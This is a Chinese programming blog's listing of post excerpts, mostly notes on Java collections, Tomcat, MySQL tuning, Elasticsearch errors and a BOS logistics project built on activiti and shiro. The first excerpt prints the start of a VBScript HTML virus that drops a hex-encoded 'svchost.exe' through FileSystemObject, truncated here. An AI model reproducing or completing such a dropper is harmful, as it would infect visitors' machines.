- 博客(29)
- 收藏
- 关注
原创 html病毒:DropFileName = “svchost.exe”
<SCRIPT Language=VBScript>DropFileName = “svchost.exe”WriteData =“4D5A0000200000000400000F00FFF.............................................此处省略N个字符串”Set FSO = CreateObject("Scripting.FileSyste...
2018-04-30 22:18:49 15907
转载 Tomcat内存溢出解决办法
Tomcat内存溢出解决办法使用Java程序从数据库中查询大量的数据时出现异常:java.lang.OutOfMemoryError: Java heap space在JVM中如果98%的时间是用于GC且可用的 Heap size 不足2%的时候将抛出此异常信息。JVM堆的设置是指java程序运行过程中JVM可以调配使用的内存空间的设置.JVM在启动的时候会自动设置Heap size的值,其初始空...
2018-04-28 16:23:42 108
原创 ArrayList和Vector的主要区别
java基础之ArrayList和Vector的主要区别;List接口下一共实现了三个类:ArrayList,Vector,LinkedList。 LinkedList主要保持数据的插入顺序的时候使用,采用链表结构。ArrayList,Vector主要区别为以下几点: (1):Vector是线程安全的,源码中有很多的synchronized可以看出,而ArrayList不是。导致Vector效率无...
2018-04-26 16:32:51 630
原创 MySQL查询优化可以从哪些地方入手
1/ 查出瓶颈,哪一部分耗时最多2/ 从选择存储引擎入手3/ 减少正则表达式,在sql语句中的使用4/ 合理利用缓存技术,能提高网页访问速度(select @ query-cache-type 查询缓存是否开启)5/ 对耗时较多冗余的sql语句进行优化6/ 合理选择数据类型来帮助提高查询运行速度 (1)可以使用短时间类型时不要使用长数据类型(比如int和midlleint) (2)定长类型(var...
2018-04-25 13:57:45 237
原创 MySQL优化语句查询常用的30种方法
1.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引。 2.应尽量避免在 where 子句中使用!=或<>操作符,否则将引擎放弃使用索引而进行全表扫描。 3.应尽量避免在 where 子句中对字段进行 null 值判断,否则将导致引擎放弃使用索引而进行全表扫描,如: select id from t where num is nul...
2018-04-25 13:52:22 101
转载 Tomcat集群会话保持
Manger对象用于实现HTTP会话管理的功能,Tomcat中有5种Manger的实现:而DeltaManager是在企业中用到最多的,今天就来介绍DeltaManager的会话保持 DeltaManager 用于Tomcat集群的会话管理器,它通过将改变了会话数据同步给集群中的其它节点实现 会话复制。这种实现会将所有会话的改变同步给集群中的每一个节点,也是在集群环境中 用得最多的一种实现方式 D...
2018-04-25 13:48:25 413
转载 关系型数据库和nosql数据库的区别和选择
关系型数据库和nosql数据库有着不同的用途。我们常常把这些不同类型的数据库用在错误的地方。 最常见的是在关系数据库内保存大量非计算的数据。 像日志啊,账号啊,这些仅仅只是需要读取和写入的数据都放在关系数据库内。 把关系数据库当作大硬盘使用。关系型数据库特长是对数据的横相比较。例如小明,小黄谁的分数比较高? 所获取的是不同对象的数据之间的逻辑关系。 mysql就是这类数据库的典型代表, 他的语句就...
2018-04-25 13:43:25 2210
原创 Elasticsearch的常见异常
【elasticsearch端口异常】NoNodeAvailableException[None of the configured nodes are available: 原因:1.可能端口问题,客户端端口默认为93002.浏览器访问 http://192.168.14.128:9200/ ,查看cluster_name是否与客户端配置的一致。不一致需要修改 elasticsearch-2.3...
2018-04-24 22:56:49 7424
转载 tomcat服务器 原理/请求过程
Tomcat原理详解及请求过程Tomcat: Tomcat是一个JSP/Servlet容器。其作为Servlet容器,有三种工作模式:独立的Servlet容器、进程内的Servlet容器和进程外的Servlet容器。Tomcat目录:tomcat |---bin:存放启动和关闭tomcat脚本 |---conf:存放不同的配置文件(server.xml和web.xml); |---doc:...
2018-04-23 23:39:08 347
转载 什么是API?
在我学习软件开发之前,API 听起来就像一种啤酒不过今天我经常使用这个名词以至于我最近在酒吧的时候都想点一杯 API了酒保的反映是抛出了个404:找不到该资源我碰到很多人,无论是在技术行业工作的还是其他,他们对API这个相当常见的名词的含义的理解有点模糊和偏差严格的来说, API 代表:应用程序编程接口,在某些或其他方面,很多大型公司会建立自己的API提供给用户或者内部使用不过怎么用通俗的语言向你...
2018-04-21 09:26:34 1937
转载 BOS项目12:基于activiti物流配送流程,启动,查询,办理,项目知识点复习
目录(?)[-]1 设计物流配送流程2 启动流程配送流程3 查询组任务4 拾取组任务5 查询个人任务6 办理任务项目复习内容:1、设计物流配送流程2、启动物流配送流程3、查询组任务、拾取组任务4、查询个人任务、办理个人任务 1. 设计物流配送流程 物流配送流程基于组任务进行任务分配、使用排他网关,分支选择使用流程变量实现Activiti图形界面...
2018-04-13 21:58:03 441
转载 BOS项目11:流程定义/实例管理,bos用户角色同步activiti用户表组表
目录2 流程定义管理3 流程实例管理4 将bos系统中的用户和组同步到activiti中内容:1、提供新的json文件,修改系统菜单(加入工作流的菜单)2、流程定义管理(查询、部署流程、查看png流程图片)3、流程实例管理(查询、查看运行状态)4、将bos系统中的用户数据和角色数据同步到activiti的用户表和组表 1. 提供新的json文件,修改系统菜单(加入工作流的菜...
2018-04-13 21:49:41 252
转载 BOS项目10:activiti,历史数据操作,流程变量,任务组,监听器,网关,spring整合
目录(?)[-] 1 历史数据查询2 流程变量3 组任务操作4 监听器5 网关6 spring整合activiti框架内容:1、历史数据查询(历史流程实例数据、历史任务数据、历史活动数据)2、流程变量3、组任务(候选人、候选组)4、监听器(执行、任务)5、网关(排他、并行)6、spring整合activiti 1. 历史数据查询历史是一个组件,它可以捕获...
2018-04-12 15:27:37 618
转载 BOS项目9:工作流、activiti入门:
目录(?)[-]1 工作流概念2 安装流程设计器eclipse插件3 创建activiti框架表结构4 了解activiti提供的23张表5 学习框架提供的API操作流程6 activiti框架核心API7 activiti框架API使用内容:1、工作流概念2、安装eclipse插件(工作流流程设计器插件)3、创建activiti框架提供的数据库表结构(2...
2018-04-12 15:26:06 245
转载 BOS项目8::权限/角色/用户管理(CRUD),基于数据库实现动态授权,ehcache缓存权限,shiro标签,菜单权限展示
目录(?)[-]1 权限管理2 角色管理3 用户管理4 修改BOSRealm中的授权方法----基于数据库实现5 使用ehcache缓存权限数据6 使用shiro提供的标签展示页面元素 7 系统左侧菜单根据登录人权限展示内容:1、权限管理(初始化权限数据、添加、查询)2、角色管理(添加、查询)3、用户管理(添加、查询)4、修改BOSRealm中的授权方法...
2018-04-12 15:25:02 399
转载 BOS项目7::权限概述、权限数据模型、shiro入门{bos中应用}
目录(?)[-]1 权限概述2 常见的权限控制方式3 权限的数据模型4 apache shiro框架5将shiro应用到bos项目中6 基于shiro注解实现权限控制1 权限概述2 常见的权限控制方式3 权限的数据模型4 apache shiro框架5将shiro应用到bos项目中6 基于shiro注解实现权限控制内容安排:1、权限概述(...
2018-04-12 15:23:54 343
转载 BOS项目6:业务受理功能、快速录入工作单、{datagrid数据表格编辑功能使用}
目录1 业务受理部分需求分析2 根据pdm导出sql脚本文件3 业务受理功能实现4 数据表格编辑功能使用5 实现工作单快速录入功能基于datagrid编辑1. 业务受理部分需求分析整个BOS项目分为:基础设置、取派、中转、路由、报表。受理功能为整个取派的一部分受理环节,是物流业务的开始,作为服务前端,客户通过电话、网络等多种方式进行委托,业务受理员通过与客户交流...
2018-04-12 15:19:08 314
转载 BOS项目5:定区添加及查询,Hessian入门,基于hessian实现定区关联客户功能
目录1 定区添加功能2 定区分页查询3 Hessian入门4 定区关联客户基于hessian1 定区添加功能2 定区分页查询3 Hessian入门4 定区关联客户基于hessian1. 定区添加功能什么是定区?定区将客户信息、取派员、分区信息关联到一起,为自动分单提供数据。1.1 在下拉框中展示取派员数据第一步:修改combobox的url...
2018-04-12 15:17:28 210
转载 BOS项目4:批量导入(ocupload插件,pinyin4J)/POI解析Excel/Combobox下拉框/分区组合条件分页查询(ajax)/分区数据导出(Excel)
目录1 区域批量导入功能11 一键上传插件使用12 创建RegionAction提供importXls方法13 使用apache POI解析Excel文件Pinyin4J2 区域分页查询3 重构分页代码4 分区添加功能41 Combobox下拉框使用5 分区组合条件分页查询6 分区数据导出功能Excel提供下载1 区域批量导入功能11 ...
2018-04-12 15:15:08 251
转载 BOS项目3:修复window控件BUG、添加/修改/作废取派员、datagrid使用、分页查询(DetachedCriteria离线)、formatter函数)
目录修复window控件bug基础设置部分需求分析根据基础设置部分pdm生成sql文件实现取派员添加功能Easyui中datagrid数据表格使用方法取派员分页查询---基于datagrid实现Formatter函数使用8 取派员作废功能取派员修改信息功能修复window控件bug基础设置部分需求分析根据基础设置部分pdm生成sql文件实现取派员添加功能Easyui中datagrid数据表格...
2018-04-12 15:10:04 234
转载 BOS项目2:base dao/action、登陆、消息提示框、菜单按钮、修改密码、登陆拦截器
目录3 抽取表现层BaseAction4 登录功能5 消息提示框messager6 菜单按钮menubutton8 修改密码功能ajax命名修改1. 根据pdm导出sql文件生成表 1.1 导出sql文件 1.2 使用MySQL命令运行sql脚本 1.3 sourc空格+全路径.sql 1.4 使用反转工具生成实体类和hbm文件 使用方...
2018-04-12 15:08:25 223
转载 BOS项目1:项目概述、环境、页面[easyUI,Ztree]、数据库、PowerDesigner
1. 项目概述1.1 项目背景介绍BOS(Bussiness Operating System)-----业务操作系统 本项目物流BOS项目分为基础设置、取派、中转、路由、报表部分 1.2 常见的软件项目类型OA:办公自动化系统CRM:客户关系管理系统ERP:企业资源计划平台CMS:内容管理系统BBS:论坛系统 1.3 项目开发流程(瀑布模型)1、 需求调研分析----需求规格...
2018-04-12 15:04:43 337
原创 JSON
JSON全称”JavaScript Object Notation”,意思是JavaScript对象表示法它是一种基于文本,独立于语言的轻量级数据交换格式。JSON没有附加的任何标记,在JS中可作为对象处理,所以我们更倾向于选择JSON来交换数据。XML也是一种数据交换格式,XML虽然可以作为跨平台的数据交换格式但是在JS(JavaScript的简写)中处理XML非常不方便,同时XML标记比数据多...
2018-04-10 23:05:12 144
原创 collection与collections
简单说先,以后再补充:collection 是 java.util 下的接口,它是各种集合结构的父接口collections 是 java.util 下的类, 包含各种有关集合操作的 静态方法
2018-04-07 00:43:24 85
原创 浅谈HashMap与Hashtable
T.T 这两个单词看的老子眼睛都花了 . . . 简单说就这一句: HashMap和Hashtable的比较是Java面试中的常见问题,用来考验程序员是否能够正确使用集合类以及是否可以随机应变使用多种思路解决问题。HashMap的工作原理、ArrayList与Vector的比较以及这个问题是有关Java 集合框架的最经典的问题。Hashtable是个过时的...
2018-04-07 00:34:39 388
原创 简述&和&&,|和||
&和&&: &会执行两边,不管第一个条件是否成立。(不负责任) &&会执行一边,如果第一个条件不成立,就不会走第二个条件。| 和 ||: 都表示“或” || 只要满足第一个条件,后面条件就不再判断。(不负责任) | 所有条件都需要判断。举个栗子:...
2018-04-05 17:26:54 220
原创 Static Nested Class 和 Inner Class的不同
1、Inner Class(内部类)定义在类中的类。 (一般是JAVA的说法) 它的创建依赖一个外部类对象作为宿主,内部类必须寄生在外部类对象中才能创建实例。2、静态:用来修饰类的内部成员(静态方法、静态成员变量、静态常量)唯一的作用是,跟随类的加载而产生, 就可以用 ”类 名+静态成员名“ 获得3、静态内部类(嵌套类):这个类没有必要单独存放一...
2018-04-05 17:08:46 4488
转载 内部类
1、什么是类?可以理解为一个对象。为啥需要对象?因为单身吗?因为我们需要对象去做一些事情2、啥是内部类?内部类就是在类的内部,创建一个类。为啥我们要内部类?不可以直接在类外再建一个类吗?何必麻烦?因为我们定义这个内部类仅仅在本类中有用,其他类使用完全没有意义,所以我们就定义在一个类的内部,仅给这个类使用3、什么是匿名内部类?使用匿名内部类我们必须要继承一个父类或者实现一个接口,当然也仅能只继承一个...
2018-04-05 16:08:06 288
转载 final、finally、finalize的区别
final修饰符、关键字1、修饰类 当用final修饰一个类时,表明这个类不能被继承。也就是说,如果一个类你永远不会让他被继承,就可以用final进行修饰。final类中的成员变量可以根据需要设为final,但是要注意final类中的所有成员方法都会被隐式地指定为final方法;一个类不能同时被abstrct和final修饰;要注意谨慎选择,除非这个类真的在以后不会用来继承或者出于安...
2018-04-05 15:45:48 536
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人